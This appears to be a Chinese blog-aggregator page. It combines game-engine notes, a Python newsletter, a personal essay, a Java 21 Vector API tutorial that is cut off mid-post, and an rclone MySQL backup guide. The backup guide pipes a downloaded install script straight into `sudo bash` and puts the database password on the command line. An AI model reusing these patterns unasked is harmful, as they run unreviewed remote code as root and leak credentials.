本来根据游戏类型的不同,使用引擎的方式就会有很大差异。我希望可以有不同的这样的框架针对具体类型游戏做二次封装。这样,在二次封装上写游戏的花,后面就可以更放心的裁剪底层实现。我更希望让 ECS 框架还原成更原始的设计:面向数据,避免添加太多的辅助模块。

最近还有许多工作是在 UI 上。我对 RmlUI 的方案还是比较满意的。毕竟类 web 的开发有极大的用户基础,各种边角被人打磨过。不过目前的一些实现细节,尤其是 UI 层和游戏层的消息通讯部分存在设计问题。

现在 UI 层和游戏渲染(以及逻辑)处于两个隔离的 Lua VM 中,跑在不同线程上,依赖消息通讯交换数据。引擎简单的封装了消息通讯过程,提供了 RPC 方法。但从游戏逻辑倒 UI 阻塞 RPC 调用,直接使用的话必定产生死锁。这是因为游戏逻辑通常放在 ECS 的一个 system stage 中执行,而处理 UI 层的 RPC 请求在另一个 stage 。为了回避这个死锁问题,需要小心的利用 ltask 的一些异步功能。我做了一些简单的封装后,情况好了一点。这个封装抽象出一个 model 对象,自动在两个层之间做数据同步(只同步差异部分)。在游戏逻辑这边设置 model 的状态,就可以直接在 UI 上展示出来。这个封装还很粗糙,需要我自己多做一些 UI 模块后再改进。

由此,我猜想 ECS 里面可能还需要提供一个 async 的 stage 可能好点。现在的 stage 里如果调用了 ltask.call ,就完全塞死当前帧了。加一个 async 的 stage ,让这里 yield 出去的流程,在下一帧回来这个stage 继续做。这样也可以取代 instance 创建的 onready callback 。只需要把一些消息处理过程放在 async stage 就可以更自然的写。前几个月就做过一点类似的尝试 ,感觉还没想好,暂时不打算把这个特性加到引擎中。


动画模块 是目前引擎比较欠缺的部分。只是我在做游戏原型时还用不上。如果未来做动作向的游戏,这方面的需求就更大了。这个的开发优先级比较低,等实际用起来再解决。

材质系统 看起来更值得改进。尤其是我在开发过程中,遇到一个简单的需求:运行时把一个对象改为半透明渲染,折腾了我好几天。最后我还是采用了去年开发游戏过程中使用的方案,为编辑器做好的预制件数据打上 patch ,为每个预制件预生成一个半透明材质的方式。然后在运行时根据需要,在不透明和半透明预制件中做选择(因为现在引擎不支持运行时给对象赋予完全不同的材质)。

说起这个半透明材质问题,我认为本质上还是性能优化问题导致的。理论上,我们可以让所有的对象都是半透明材质,把透明度调为 1.0 ,它就呈现出不透明的状态。调成 0 就消失了。但是,对于渲染来说,不透明和半透明(以及不显示)性能上有本质差别,这会导致不透明的 3d 物体和半透明 3d 物体底层渲染管线都有极大的差别,远非改个材质参数这么简单。或许在 2D 引擎中,这个差别并不大,但对开发者来说,最好不管是 2D 管线还是 3D 管线,都不必在意实现的困难,用起来设置个参数就可以了。这也是引擎要极力解决的问题。在这个(半透明)问题上,我和引擎开发团队的同学讨论了两个晚上,有了一些新的想法。以后有时间我想重构(并简化)相关底层代码。

目前,我不打算在手机平台上开发游戏。这存粹是个人对游戏体验的喜好:我对在触摸屏手机上玩游戏完全失去了兴趣。那么 Ant Engine 的最大努力:直接在开发机上对手机设备上的游戏损失调试,看起来意义就不大了。未来我想把为了实现这个特性而给引擎带来的复杂度做一些简化。尤其是远程调试、VFS 同步、触摸屏支持等。同时,可以增强许多 PC 开发上的体验:尤其是美术资源自动编译这块。我希望可以尽量减少额外的编译环节,让引擎能直接加载更多的通用格式的文件(图片、模型等)。

尤其是材质编译模块,是目前引擎中最为复杂的模块之一。我认为设计也是有问题的(不应该如此复杂)。这一块在上个月开发团队里做了一个晚上的讨论,改进方向下次专门写一篇 blog 介绍。

另外,还有一个大块的计划是重新用 Vulkan 编写 gfx 层,而不再使用 bgfx 这种跨平台方案。这也是后话了。相较用 Vulkan 实现新的 gfx 层,我更希望有机会好好做一套 2D 管线(以及独立的 2D gfx 层)。毕竟 2D 的 gfx 层要简单的多,可以把重心放在如何提供更好的(独立)游戏开发体验上。

想做的事情太多,一件件来吧。

Just for fun

by 云风 at September 03, 2024 03:21 AM

September 02, 2024

howiehz

Hrbust ACM练习 2024级第1~2周题单 题解分享

相关文章链接 算法题练习 题解分享 文章汇总 前言 题单链接:2024级第1~2周题单 - Virtual Judge (vjudge.net) 熟悉下 oj 的使用。vjudge 感觉没洛谷好用,提交代码的编辑器没语法高亮。 下面的先是 Python3 代码,之后是 C++ 代码。 注意:主要题目

by HowieHz at September 02, 2024 02:22 PM

题解分享:HRBUST 1132 水数

题目描述 题目描述 点我展开 Description 元帅得到的反馈信心很少,原来元帅了解到,大家都不愿意做水题,可是元帅自己就是一个水题王啊,前前后后水题水了300多道,水题王现在看看大家是个什么水的级别,决定在模拟一个水题吧。 如果一个正整数m表示成二进制,它的位数为n(不包含前导0),称它为一

by HowieHz at September 02, 2024 04:15 AM

September 01, 2024

howiehz

新手程序员必备的三项技能

学会如何虚心请教问题 既然你都向别人发问了,那自己就少说点,要给别人发挥的机会 要学会如何问问题(如何描述问题):两篇文章分享:别像弱智一样提问 & 提问的智慧 学会利用互联网 善用搜索引擎(Bing、Google、排除 Baidu) 有问题第一时间查找最新的官方文档,而不是看二手资料 学会如何学习

by HowieHz at September 01, 2024 12:12 AM

pythoncat

Python 潮流周刊#67:uv 的重磅更新

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,全文 2000 字。
以下是本期摘要:
① uv:统一的 Python 打包工具
② PyJWT 和 python-jose 在处理 JWT 令牌时的差异
③ Kindle + Python = 电子墨水屏面板(第 1 部分)
④ 再见了 Pandas,感谢所有的鱼
⑤ CPython 编译器强化
⑥ 通过代码生成实现高性能
⑦ PortaOne 如何用 PyPy 作高性能处理,每月接通超过 1B 的电话
⑧ 10 种 Python 编程优化技术
⑨ Windows 中 Python 程序的 NTLM 凭据盗窃
⑩ Flask 源码解析系列文章 7 篇
⑪ pip 24.2 有什么新增功能? 为什么弃用可编辑安装?
⑫ “所有 htmx 演示之母”之后续
① theine:高性能的内存中缓存
② picows:超高速 websocket 客户端和服务端
③ microrabbit:用于 RabbitMQ 的轻量级异步 Python 框架
④ wave:用于 Python 和 R 的实时 Web 应用和仪表板
⑤ repo2vec:仅用 2 条命令,与你的代码仓聊天
⑥ django-currentuser:在线程或数据库存储用户请求信息
⑦ intelligent-trading-bot:基于机器学习和特征工程的智能交易机器人
⑧ rerun:可视化多模态数据流
⑨ VideoSys:简单高效的视频生成系统
⑩ KnowledgeGraph: 从零开始构建知识图谱
⑪ terminaltexteffects:终端视觉效果引擎
⑫ kotaemon:基于 RAG 与你的文档聊天

目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 67 期周刊的全文
PS.本周刊前30期的合集永久免费,已集结出了精美电子书(EPUB/PDF),请从该合集文章开头获取下载链接。
另外,付费期数将在其 50 期后免费开放,例如第 67 期将在第 117 期时免费,敬请留意。

September 01, 2024 12:00 AM

August 30, 2024

yangpeiyuan

使用Rclone定时备份MySQL到云存储

最近在 blog 上新增了 2 个页面,见导航栏中的 delicious 和 memory。由于用到了 mysql,考虑到数据安全,还是得经常备份。之前就想试用 Rclone,所以这次就选择用 Rclone+box.com 的组合。有个缺点就是 box 的认证授权只有 60 天,每 2 个月就要手动刷新下 token。(看官方文档介绍,有的云存储 token 过期时间会很长如 pikpak)。

Mysql 数据库备份 sh 脚本

  • 创建备份 Mysql 数据库脚本
#!/bin/bash

# 定义MySQL数据库信息
MYSQL_USER="xxxxxxxx"
MYSQL_PASSWORD="xxxxxxxx"

#定义备份的目录和创建此目录。用-p参数避免已存在同名文件夹
BACKUP_DIR="/tmp/backup"
REMOTE_NAME="remote"
mkdir -p $BACKUP_DIR


# 定义备份文件的文件名
TIMESTAMP=$(date +"%Y-%m-%d_%H-%M-%S")
BACKUP_FILE="$BACKUP_DIR/backup_$TIMESTAMP.sql"

# 备份多个数据库
mysqldump -u $MYSQL_USER -p$MYSQL_PASSWORD --databases delicious memory > "$BACKUP_FILE"

# 使用rclone上传备份到远程
rclone copy "$BACKUP_FILE" "$REMOTE_NAME:/backup/linode"

安装配置 Rclone

sudo -v ; curl https://rclone.org/install.sh | sudo bash
# Linux 和 MacOS 用户可以在本地电脑上使用 SSH 隧道将无头盒端口 53682 重定向到本地计算机,方法是使用以下命令:
# 命令中的username@remote_server 根据实际情况修改
ssh -L localhost:53682:localhost:53682 username@remote_server
#开启交互式配置流程。可以全部都选 default
rclone config
  • 然后在最后一步出现 Use auto config? 回答 Y 问题。
Use web browser to automatically authenticate rclone with remote?
 * Say Y if the machine running rclone has a web browser you can use
 * Say N if running rclone on a (remote) machine without web browser access
If not sure try Y. If Y failed, try N.
y) Yes (default)
n) No
  • 然后复制并粘贴身份验证网址 http://127.0.0.1:53682/auth?state=xxxxxxxxxxxx 到本地计算机上的浏览器,完成身份验证即可完成。
  • 配置完成。你就可以像这样使用rclone了。
#列出 Box 顶层的目录
rclone lsd remote:

#列出 Box 中的所有文件
rclone ls remote:

#将本地目录复制到名为 backup 的 Box 目录
rclone copy /home/source remote:backup

#路径可以根据需要深度,例如 remote:directory/subdirectory

配置 crontab 定时任务

  • 运行 crontab -e ,编辑一条新的定时任务。每 15 天自动备份上传到云存储。
0 3 1,15 * * /bin/bash /root/backup/backup_linode_mysql.sh

by yangpeiyuan (i@yangpeiyuan.com) at August 30, 2024 02:40 PM

August 29, 2024

howiehz

如何快速排查插件(模组)的兼容性问题(基于二分法和分治思想)

自己写的服务器插件遇到了不常见的不兼容问题(我的 a 插件与 b 插件兼容,也与 c 插件兼容,但是a 插件与 b、c 插件同时使用就会出现问题):随身末影箱功能无法启用 · Issue #6 · HowieHz/Points (github.com) 在解决完兼容性问题后,我想谈谈如何快速排查插件

by HowieHz at August 29, 2024 06:31 AM

August 27, 2024

howiehz

通过 Umami 最新功能观察定时发布文章的最佳时段

Umami 是一个轻量,强大的 Google Analytics 代替品,在四天前发布的 v2.13.0 版本中更新了 Sessions(会话)页面。如图所示,您现在可以很方便地看出您的网站访问压力较大的时段。 根据此图,结合定时发布功能,您可以决定何时定时发布文章。这将有助于优化您的文章在 RSS

by HowieHz at August 27, 2024 01:57 PM

August 25, 2024

ihewro

hello,26岁!

当我用年龄计算器计算年龄的时候,计算器告诉我我的人生已经度过33%。

今年六月底我也工作两周年了!6月写的工作相关的博文一直没有写完,准备这次年中绩效沟通完后再去总结一下,应该有一些不同的感受,到时候再和大家分享一下。

[scode type="share" size="simple"]

  • 25岁(2023年) [post cid="1289" cover="" size="small"/]
  • 24岁(2022年) [post cid="1265" cover="" size="small"/]
  • 23岁(2021年) [post cid="1185" cover="" size="small"/]
  • 22岁(2020年) [post cid="1117" cover="" size="small"/]
  • 21岁(2019年) [post cid="963" cover="" size="small"/]
  • 20岁(2018年) [post cid="830" cover="" size="small"/]
  • 19岁(2017年) [post cid="697" cover="" size="small"/]
  • 18岁(2016年) [post cid="250" cover="" size="small" /]

[/scode]

健康

今年最大的变化,就是我的身体终于开始慢慢变好了一些。如果看过「时光机」会知道从去年开始一直胸闷气短难受的不行。最痛苦的时候觉得呼吸也是一件奢侈的事情。在今年3月、4月份的时候我还在医院去检查,到了五月份竟然慢慢好了。你可能好奇病因是什么,以及怎么变好的。最早的胸闷后面逐步发展为嗳气,就是经常打嗝,严重的时候似乎一天要打100多次...伴随着吃完后消化变慢,到后面似乎打嗝就变成习惯了,胸闷了打嗝似乎就能缓解一些。

直到现在我仍然不知道病因,心脏、肺、胃都查了,也开了一些抗菌、增强胃动力、抑制胃酸的药都吃了不少,有时好一点点而后又继续往复。这甚至让我绝望。我在网上自己搜“嗳气缓解”的方法,其中一条是当想打嗝的时候就深呼吸,让气流下行。同时我开始调整作息,从1点半~2点之间休息调整到1点之前休息。慢慢的打嗝的症状好了不少。个人感觉可能是医生说的“功能性胃病”,即本身没有病变,但是各种原因导致消化道不适,包括这种习惯性的打嗝。(本文不提供任何医疗参考建议,仅仅是个人经验,请谨遵医嘱!)

[comment coid=10721/]

曾经在上班的路上,无数次的想,只要让我的病好,我什么也追求了。工作带给人无穷无尽的名利在身体健康面前不值一提。现在终于好些了,因此我希望我能记住自己曾经的承诺,不要重蹈覆辙。

阅读

6月份开始在闲暇时间做一些自己感兴趣的事情了,比如看“木鱼水心” up主讲解的《水浒传》,这本小时候看过的书,但现在具体的情节都已经忘却的差不多了。后来又看讲解《史记》,感觉讲得非常有趣。后来因为木鱼水心的《星空读书会》推荐了《蛤蟆先生去看心理医生》这本书,就买来书来看。之前一直对心理学有一些兴趣,但是都没有沉下心来看。因此我决心找到感兴趣的书买来实体书去看。

《蛤蟆先生去看心理医生》这本书给了我非常大的触动,我相信很多心里敏感的人都会对其中的一些观点感到耳目一新,从而得到启发。比如书中描述了所处的三种状态:儿童、成人和父母自我状态。这帮助我们理解很多自己以及他人的行为。比如自己面对强势的人会显的害怕和顺从,这些是儿童自我状态下不自主的,无意识的反应,即我们并没有选择作出什么反应,而是过往儿童经历让我们不自觉的就作出了这样的反应。只有意识到这一点,转而切换到成人状态下才能自己选择自己的行为。同时父母自我状态也会解释有些人为什么喜欢批判他人,这是因为他们在自己父母身上评判世界的价值观从而对他人进行评判。

书中还有一个观点相信很多人都会触动。每个人都会有父母自我状态,会批判别人。如果从小在一个严厉环境下成长的人可能不会批评其他人,那么他会批判谁呢?是的,他会一而再再而三的批判自己。了解这一点后,似乎能理解我们为什么无法克制的经常在自责。“没有一种批判比自我批判更强烈,也没有一个法官比我们自己更严苛”。

这本书看完后,我继续买来《非暴力沟通》这本书来看。其实这本书很早一直听过,但是从来没有看过。如果你的原生家庭(虽然我有些讨厌“原生家庭”这个词)经常会有争吵,你会好奇为什么自己的家庭会如此糟糕。这本书相信会给我们一些原因。每个人都不喜欢被批判,而我们日常最习以为常的事情就是评判他人,尤其是我们身边最亲近的人。《非暴力沟通》的有些观点和《蛤蟆先生去看心理医生》也是契合的。比如“生气”这一行为对我们的深刻影响。比如我们应该对自己的情绪负责,而《非暴力沟通》进一步的解释了为什么我们的情绪是来自于自身的需要没有被满足,而不是他人的行为。从这一观点上,可能更好帮助我们关注我们尚未被满足的部分,而不是指责他人!

这两本书对我影响很大,我想其中的一些观点需要我更长时间的理解和持续不断的践行才能更好吸收这些观点。同时发现读书这件打发时间的方式带给我的感受是和看视频远远不同的。看书会带来思考,但不会像工作那般绞尽脑汁,彷佛是让自己的思维更加清晰。看书过程中也会发现一些自己已经从生活中学到的观点,但从书中看到会感受到一种更被理解的感受,同时自己尚未弄清的事情在书中找到答案也会有一种豁然开朗的感受。

压力

回过头来再说说压力。我第一次因为胸闷去医院的时候,医生问:“你最近压力大吗?”,我愣了一下,似乎从来没有人问我“压力大吗?”,以至于我不知道“压力大”是什么表现。我回答应该压力不大吧。我想有一些人可能和曾经我一样,习惯了在在一个压力大的环境后,以至于从来没有察觉到。今年早期的时候,我就会为绩效非常焦虑。我害怕拿到一个不符合预期,一个差的绩效。同时因为每天工作非常紧绷,工期也都比较紧。在下班的路上,有的时候莫名其妙很容易被触动,特别想放声大哭,放声大喊!而这一症状,实际上在我入职第一年的时候就有时会出现,而我从来没把这些异常行为和压力大挂钩,只是认为我情绪波动或者太矫情罢了!压力大还有非常显著的特征是,下班后什么也不想干。有人说,这不就是你太懒了吗,和压力大又什么关系!大错特错!一个正常的人,如果工作内容充实但不累,工作有成就感的人,下班后会是一件非常愉快的事情。而懒惰背后表明已经深处在一种烦心但是无力推动变化的境地。

如果问我怎么减轻压力,也许我也回答不好。因为我也是“被动”减少了工作压力。4月份的时候,公司开始裁员,之前的一些需求要么是优先级降级,要么是暂停了。人员变动、方向调整也直接导致了后续要做的事情变少了。与此同时,人员“精简”确实沟通成本也更低一些。一些事情之前要好几个人拍板,现在自己就可以决策...在这之后虽然工作的事情仍然不少,但是相比去年,整体紧张程度已经降低不少。这些是客观因素。主观因素上,发现一点是,工作时长越长,工作效率总是越低。毫无例外!因为我们不是机器,需要停下来思考,理清要做的事情,分清优先级。因此我刻意的提前下班时间,与此同时起床时间更早。虽然整体上工作时长是相近的,调整后的工作体验是更好的了。

会发现一点是,一个人感到累的时候,实际上是丢失了对生活的掌控权,即无法让生活按照自己想法向更好的方向继续,因此我们就会心生懈怠,厌倦,痛苦等负面情绪。想要扭转这一点靠精神鼓励我觉得是不够的,就好像你和一个抑郁的人说振作起来啊!情绪只是你内心的自我选择!我想他难以做到。只能在理智状态下才能理解这些道理,同时基于这些观点让自己的理智能够继续维持下去。因此如果你已经陷在负面情绪无法自拔,我觉得一个尝试是下定决心做一个大的生活变化。刚开始会发现没什么起色,但是这种自我想要改变的勇气和决心会最终帮助我们!而且人的情绪是起伏波动,不要认为是之前努力的徒劳无功,在正常不过的!这些也写给未来也许情绪很差的自己吧。

其他

最后谈一谈恋爱感情相关。我到现在也忘不了一点是,当年在考研数学考试的考场上,距离考试结束还有四十多分钟,我还有好几道大题没做,而且前面也要好几题卡住,没有思路。正当我汗流浃背的时候,考场上已经陆续有好几人提前交卷了!那一刻,我甚至有种放弃的感觉,难道就这样要结束了吗。站在上帝视角,会觉得神经!别人交卷和你又什么关系?社会化的训练,让我们基本上很难摆脱他人对我们想法、行为的影响。人生的每个阶段都像是一场考试,除了中考、高考、研究生考。还有工作、恋爱、结婚、生子、教育、养老。我们无时无刻的不在和身边的同龄人校准,这是非常痛苦的行为,但其实又是一个非常可笑的行为,因为这一切基于每个人的机会、成长环境、身体素质等等因素都类似情况下才有比较的前提条件。但实际上每个人差异巨大。

[comment coid=10797 /]

我似乎说跑题了,同事中,同学中,有恋爱好几年了,也有结婚了、买房了,生娃了。我姐端午的时候也结婚了,而后也在考虑买房的事宜。仅仅对我个人来说,我不害怕“落后了”,“掉队了”。但是就像大部分的父母一样,他们身上有定时的旋钮开关一样,等他们的孩子到了结婚的年龄,他们就疯狂希望他们的孩子快点找到对象,买房、结婚。从朴素的价值观来说,按照大部分人的时间走过一生总是最稳妥的方式。我如此抗拒,是担心我现在是否有和另一个人建立亲密关系的能力。当更年轻的时候,我也许不会考虑到这一点。但意识到已经过了“见色起意”的阶段后(不是对外貌不感兴趣了,而是了解外貌并不能维持两个人真正长期对彼此的好奇),和另一个长久的保持联系,保持理解,保持好奇,我觉得是一件复杂和困难的事情。看过“罗翔老师”的一个视频,讲的是告诫我们去爱“具体的人”,而非“抽象的人”。网络上,我们期盼爱情,现实上和另一个人呆在一起,只能无聊的各自玩手机。我们真的对对方感兴趣吗?也许在现实对另一个人产生好奇、兴趣的时候,对这一点有更深的认识。但是不论如何,“生活就像一场考试,不要因为别人提前交卷而心烦意乱,随便答题”。

到这里,本文就该结束啦。最后以《蛤蟆先生去看心理医生》中苍鹭医生对蛤蟆说的一句话结尾吧。

苍鹭把蛤蟆送到门口,告别之际,他转身对蛤蟆说:“蛤蟆,我认为你正在进步,虽然还有很多工作待完成,但你已经在学习的道路上站稳脚跟了,从此再也不会走回头路了。”

by 友人C at August 25, 2024 02:37 PM

howiehz

踩坑分享:如何一个人搬运 126.7 斤的书坐动车

这个月回小学故居一趟,把存放在那边的书搬到新家来。 本文将分享一路上的相关经验(相关踩坑)。 图片记录 点我展开折叠内容 图片分享 行程中的记录 结算时刻

by HowieHz at August 25, 2024 12:21 PM

aneasystone

Java 21 初体验(三)

上一篇笔记上上一篇笔记 中,我们学习了 Java 21 中前 10 个重要特性:

接下来,我们将继续学习最后 5 个特性:

向量 API(第六次孵化)

向量 API 最初由 JEP 338 提出,并作为孵化 API 集成到 Java 16 中,在 Java 17 到 20 中,又经过了 JEP 414JEP 417JEP 426JEP 438 四次的孵化,这次在 Java 21 中,已经是第六次孵化了。

向量 API 又被称为 Vector API,要注意,这里讲的并不是 Java 中的 Vector 集合类,而是一种专门用于向量计算的全新 API。尽管这个 API 还在孵化期,并没有正式发布,但是这项技术很值得我们提前学习和了解,因为这项技术代表了 Java 语言发展的一个重要方向,在未来一定会有着重要的影响。随着生成式人工智能的发展,Embedding 技术也如日中天,它将各种类型的数据(如文本、图像、声音等)转换为高维数值向量,从而实现对数据特征和语义信息的表示。Embedding 技术在个性化推荐、多模态检索和自然语言处理等领域中发挥着重要作用,而这些场景都离不开向量计算。

什么是向量?

向量是数学和物理学中的一个基本概念,具有大小和方向两个属性,比如物理学中的力就是向量。向量可以有多种不同的表示方式:

  • 在代数中,一般印刷用黑体的小写英文字母来表示(比如 abc 等),手写用在 a、b、c 等字母上加一箭头(→)表示;
  • 在几何中,向量可以形象化地表示为带箭头的线段,箭头所指的方向代表向量的方向,线段长度则代表向量的大小;
  • 在坐标系中,向量可以用点的坐标位置来表示,比如平面直角坐标系中的向量可以记为 (x, y),空间直角坐标系中的向量可以记为 (x, y, z),多维空间以此类推;此外,向量也可以使用矩阵来表示;
  • 在计算机科学中,向量可以被理解为一个数字列表或数组,这在编程语言中尤为常见。

和向量这个概念相对应的,还有标量、矩阵、张量等概念,这几个概念可以代表不同的维度,一般用点线面体来类比:

  • 点——标量(scalar)
  • 线——向量(vector)
  • 面——矩阵(matrix)
  • 体——张量(tensor)

vector.png

标量计算 vs. 向量计算

标量就是一个数字,在 Java 中通常可以表示为一个整数或浮点数等,我们所熟知的算术运算基本上都是作用于标量之上的,比如下面的代码对 ab 两个标量求和:

int a = 1;
int b = 1;
int c = a + b;

如果将 ab 换成向量,也就是数组,该如何求和呢?最简单的方法是使用 for 循环依次相加数组中对应的元素:

int[] a = new int[] {1, 2, 3, 4};
int[] b = new int[] {1, 2, 3, 4};
int[] c = new int[4];
for (int i = 0; i < a.length; i++) {
    c[i] = a[i] + b[i];
}

很显然这不是什么高明的做法,仔细观察上面的代码就会发现,对于数组中每个元素的相加是互不影响的,那么我们能不能并行计算呢?一种有效的解决方法是使用 并行流(Parallel Stream)

IntStream.range(0, a.length)
    .parallel()
    .forEach(i -> c[i] = a[i] + b[i]);

另一种解决方法就是我们将要学习的 向量 API(Vector API)

IntVector aVector = IntVector.fromArray(IntVector.SPECIES_128, a, 0);
IntVector bVector = IntVector.fromArray(IntVector.SPECIES_128, b, 0);
IntVector cVector = aVector.add(bVector);

注意,由于向量 API 并没有正式发布,运行时需要手动加上 jdk.incubator.vector 模块:

$ java --add-modules jdk.incubator.vector VectorDemo.java

向量 API 定义了专门的向量类,比如这里的 IntVector,并提供了 fromArray 方法方便我们将数组转换为向量,然后再通过 aVector.add(bVector) 执行两个向量的加法运算。

除了加法运算,向量 API 还提供了一组方法来执行各种其他的向量计算:

  • 算术运算(Arithmetic Operations)

    • 加法:vector1.add(vector2)
    • 减法:vector1.sub(vector2)
    • 乘法:vector1.mul(vector2)
    • 除法:vector1.div(vector2)
  • 逐元素操作(Element-Wise Operations)

    • 绝对值:vector.abs()
    • 负数:vector.neg()
    • 平方根:vector.sqrt()
    • 指数:vector.exp()
    • 对数:vector.log()
  • 规约运算(Reductions)

    • 元素之和:vector.reduce(VectorOperators.ADD)
    • 最小元素:vector.reduce(VectorOperators.MIN)
    • 最大元素:vector.reduce(VectorOperators.MAX)
    • 平均值:vector.reduce(VectorOperators.ADD).mul(1.0 / vector.length())
  • 逻辑运算(Logical Operations)

    • 与:vector1.and(vector2)
    • 或:vector1.or(vector2)
    • 非:vector.not()
  • 比较操作(Comparisons)

    • 等于:vector1.eq(vector2)
    • 小于:vector1.lt(vector2)
    • 大于:vector1.compare(VectorOperators.GT, vector2)

单指令多数据(SIMD)

使用向量 API 来执行向量计算,不仅代码精简,容易理解,而且它还有另一个好处,那就是性能提升。尽管使用并行流也能提升一定的性能,但是并行流和向量 API 是两种完全不同的优化技术,前者使用多线程在不同的 CPU 核上并行计算,而后者通过 SIMD 技术,在单个 CPU 周期内对多个数据同时执行相同操作,从而达到并行计算的目的。

SIMD(Single Instruction, Multiple Data,单指令多数据) 是一种并行处理技术,它的核心思想是将一个控制器与多个处理单元结合在一起,使得这些处理单元可以针对不同的数据同时执行相同的操作,简单来说就是一个指令能够同时处理多个数据。这与传统的 SISD(Single Instruction, Single Data,单指令单数据) 形成对比,在后者中,一个指令只能处理一个数据。

在上面那个向量求和的例子中,我们先是使用 for 循环实现:

for (int i = 0; i < a.length; i++) {
    c[i] = a[i] + b[i];
}

数组中的每个元素将使用(大致)1 个 CPU 指令进行计算,这意味着我们需要 4 个指令或 4 个 CPU 周期才能完成计算,这就是典型的 SISD。而使用向量 API 可以将向量的计算编译为对应 CPU 架构上的 SIMD 指令集,只要 1 个指令即可完成向量计算:

simd.png

在实际应用中,许多现代处理器都支持 SIMD 指令集,如 Intel 的 MMXSSEAVX,ARM 的 NEONSVE 等,这些指令集能够显著提升程序的执行效率,特别是在需要大量数值计算的场景下。不过使用这些指令集的门槛并不低,通常涉及到汇编语言或一些特殊的函数库,比如 Intel 的跨平台函数库 IPP(Integrated Performance Primitives) 或使用 内置函数 (Intrinsic function) 等。

相比于传统的手写 SIMD 代码,Java 的向量 API 提供了更高的可读性和维护性,开发者可以使用熟悉的 Java 语法和类型系统,无需处理底层寄存器和指令,编写出简洁明了的、平台无关的、高性能的向量计算代码。

其实,在向量 API 提出之前,Java 已经在 SIMD 上探索了很长一段时间了,比如 HotSpot 的 自动向量化(Auto-Vectorization) 功能,它将标量操作转换为 超字操作(SuperWord Operations),然后再映射到 SIMD 指令。然而,这个过程完全依赖 JIT,并没有什么可靠的方法来保证编写的代码一定可以使用 SIMD 指令优化,有些代码甚至根本无法进行优化,开发人员必须深入了解 HotSpot 的自动向量化算法及其限制,才能实现可靠的性能提升。向量 API 使得这个过程完全由开发人员自己控制,因此可以写出更加可预测、更加稳健的代码。

我们可以通过 -XX:-UseSuperWord 参数关闭 HotSpot 的自动向量化功能。

使用向量 API

在学习了向量的基础知识之后,接下来我们将继续深入学习向量 API 的使用。

上面介绍向量计算时,我们已经学习了向量 API 的基本用法,使用 IntVector 实现两个向量相加。这个示例为了易于理解,做了简单处理,并没有考虑在实际使用时的边界情况,假设我们将 ab 两个数组改成 10 个数字:

int[] a = new int[] {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
int[] b = new int[] {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
IntVector aVector = IntVector.fromArray(IntVector.SPECIES_128, a, 0);
IntVector bVector = IntVector.fromArray(IntVector.SPECIES_128, b, 0);
IntVector cVector = aVector.add(bVector);

运行后得到的结果 c 仍然是 [2, 4, 6, 8],后面新加的数字并没有计算。这是因为每个向量的存储空间有限,并不能一次存下所有的数据。这里涉及向量 API 的一个重要概念:向量种类(Vector Species),它是 数据类型(Data Types)向量形状(Vector Shapes) 的组合;所谓数据类型就是 Java 的基础类型,比如 byte、short、int、long 这些整数类型和 float、double 浮点类型,而所谓向量形状就是向量的位大小或位数;比如这里的向量种类为 IntVector.SPECIES_128,它代表数据类型为 int,向量形状为 128 位;而我们知道,一般情况下 int 值的大小为 32 位,所以这个向量一次只能存储 128/32 = 4 个 int 值,这也被形象地称为 通道(Lanes),表示向量一次可以处理的数据个数。

知道这一点后,我们就可以写出更加通用的向量计算代码了。首先我们需要将数据按通道数分组,然后一组一组的进行处理:

int[] a = new int[] {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
int[] b = new int[] {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
int[] c = new int[10];
int lanes = IntVector.SPECIES_128.length();
int loopBound = IntVector.SPECIES_128.loopBound(a.length);
for (int i = 0; i < loopBound; i += lanes) {
    IntVector aVector = IntVector.fromArray(IntVector.SPECIES_128, a, i);
    IntVector bVector = IntVector.fromArray(IntVector.SPECIES_128, b, i);
    IntVector cVector = aVector.add(bVector);
    cVector.intoArray(c, i);
}
for (int i = loopBound; i < a.length; i++) {
    c[i] = a[i] + b[i];
}
IntStream.of(c).forEach(x -> System.out.println(x));

我们可以注意到,在遍历时 i 每次增加 lanes,它的值等于 IntVector.SPECIES_128.length(),也就是通道数,一般来说该值等于 4,所以我们是按 4 个一组进行处理的。但是要注意数据不一定能被通道数完全整除,比如这里 10 个数字,前 8 个可以分为两组处理掉,还剩下 2 个怎么办呢?这时我们只能使用最原始的标量计算来处理了。

此外,在实际编码时向量种类不建议写死,可以使用 IntVector.SPECIES_PREFERRED 替代,它会根据平台自动选择最合适的向量种类:

static final VectorSpecies<Integer> SPECIES = IntVector.SPECIES_PREFERRED;

可以看出尽管向量 API 的使用有不少好处,但是我们也需要谨慎对待:

  • 首先,在使用向量 API 时,数据对齐是一个重要的考虑因素,不对齐的数据访问可能会导致性能下降。开发者需要确保数据在内存中的对齐方式,以充分发挥 SIMD 指令的优势;
  • 另外,向量 API 有硬件依赖性,它依赖于底层硬件支持的 SIMD 指令集,许多功能可能在其他平台和架构上不可用,性能也可能会有所不同。开发者需要了解目标平台的特性,并进行适当的性能优化。

弃用 Windows 32-bit x86 移植,为删除做准备

这个特性比较简单。随着 64 位架构的普及,32 位操作系统逐渐被淘汰,比如微软从 Windows 10 开始就只提供 64 位版本了,Windows 10 将是最后一个支持 32 位的 Windows 操作系统,而且 2025 年 10 月后将不再支持

64 位架构相比于 32 位,在性能和安全方面都有巨大的提升。比如 64 位架构可以提供更大的内存地址空间,从而提高应用程序的性能和扩展性,同时它也引入了更多的保护机制,提高了应用程序的安全性。

但由于架构的差异,同时兼容 32 位和 64 位需要不少的维护成本,很多 Java 的新特性已经不支持 32 位系统了,比如虚拟线程,所以弃用 32 位势在必行。

在 Windows 32-bit x86 系统下构建 Java 21 的源码将报如下错误:

$ bash ./configure
...
checking compilation type... native
configure: error: The Windows 32-bit x86 port is deprecated and may be removed in a future release. \
Use --enable-deprecated-ports=yes to suppress this error.
configure exiting with result code 1
$

暂时可以通过 --enable-deprecated-ports=yes 参数来解决:

$ bash ./configure --enable-deprecated-ports=yes

准备禁用代理的动态加载

